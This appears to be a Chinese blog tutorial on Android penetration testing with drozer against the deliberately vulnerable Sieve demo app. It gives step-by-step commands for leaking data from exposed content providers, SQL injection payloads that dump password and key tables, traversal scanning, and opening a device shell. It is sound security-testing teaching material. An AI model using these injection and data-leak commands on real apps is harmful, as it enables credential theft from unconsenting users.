zoukankan      html  css  js  c++  java
  • 利用drozer进行Android渗透测试

    一、安装与启动

    1. 安装  

    第一步:从 http://mwr.to/drozer 下载Drozer (Windows Installer) 

    第二步:在 Android 设备中安装 agent.apk

    adb install agent.apk

    2. 启动

    第一步:在 PC 上使用 adb 进行端口转发,转发到 Drozer使用的端口 31415

    adb forward tcp:31415 tcp:31415

    第二步:在 Android 设备上开启 Drozer Agent

    选择 embedded server-enable

    第三步:在 PC 上开启 Drozer console

    drozer console connect

    二、测试步骤

    1.获取包名

    dz> run app.package.list -f sieve
    
    com.mwr.example.sieve

    2.获取应用的基本信息

    run app.package.info -a com.mwr.example.sieve

    3.确定攻击面

    run app.package.attacksurface com.mwr.example.sieve

    4.Activity

    ( 1 )获取 activity 信息

    run app.activity.info -a com.mwr.example.sieve

    ( 2 )启动 activity

    run app.activity.start --component com.mwr.example.sieve
    
    dz> help app.activity.start
    
    usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
    
    [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
    
    [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
    
    [--mimetype MIMETYPE]

    5.Content Provider

    ( 1 )获取 Content Provider 信息

    run app.provider.info -a com.mwr.example.sieve

    (2)Content Providers (数据泄露)

    先获取所有可以访问的 Uri : 

    run scanner.provider.finduris -a com.mwr.example.sieve

    获取各个 Uri 的数据:

    run app.provider.query
    
    content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

    查询到数据说明存在漏洞

    (3)Content Providers ( SQL 注入)

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
    
    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

    报错则说明存在 SQL 注入。

    列出所有表:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

    获取某个表(如 Key )中的数据:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

    ( 4 )同时检测 SQL 注入和目录遍历

    run scanner.provider.injection -a com.mwr.example.sieve
    
    run scanner.provider.traversal -a com.mwr.example.sieve

    6.Service

    (1)获取 service 详情

    run app.service.info -a com.mwr.example.sieve

    7. 其它模块

    shell.start 在设备上开启一个交互shell
    
    tools.file.upload / tools.file.download 上传/下载文件到设备
    
    tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件
  • 相关阅读:
    cf1058c 暴力
    cf1058b 点是否在一个矩形里
    cf1058E 思维 前缀处理 位运算
    Codeforces Round #622 (Div. 2)C(单调栈,DP)
    Codeforces Round #623 (Div. 1, based on VK Cup 2019-2020
    Atcoder Beginner Contest 156E(隔板法,组合数学)
    【PAT甲级】1117 Eddington Number (25分)
    【PAT甲级】1116 Come on! Let's C (20分)
    【PAT甲级】1115 Counting Nodes in a BST (30分)(二叉查找树)
    Codeforces Round #621 (Div. 1 + Div. 2)E(二分查找,枚举分界点,容斥原理)
  • 原文地址:https://www.cnblogs.com/HCT118/p/5070017.html
Copyright © 2011-2022 走看看